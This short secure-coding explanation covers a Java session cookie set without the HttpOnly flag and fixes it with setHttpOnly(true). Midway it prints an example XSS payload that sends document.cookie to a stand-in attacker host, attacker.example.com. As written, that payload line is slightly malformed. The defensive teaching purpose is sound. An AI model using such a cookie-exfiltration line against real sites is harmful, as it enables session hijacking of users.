In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client. The snippet of code below establishes a new cookie to hold the sessionID. String sessionID = generateSessionId();Cookie c = new Cookie("session_id", sessionID);response.addCookie(c); The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as: document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">' When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie. To mitigate the risk, use the setHttpOnly(true) method. String sessionID = generateSessionId();Cookie c = new Cookie("session_id", sessionID);c.setHttpOnly(true);response.addCookie(c);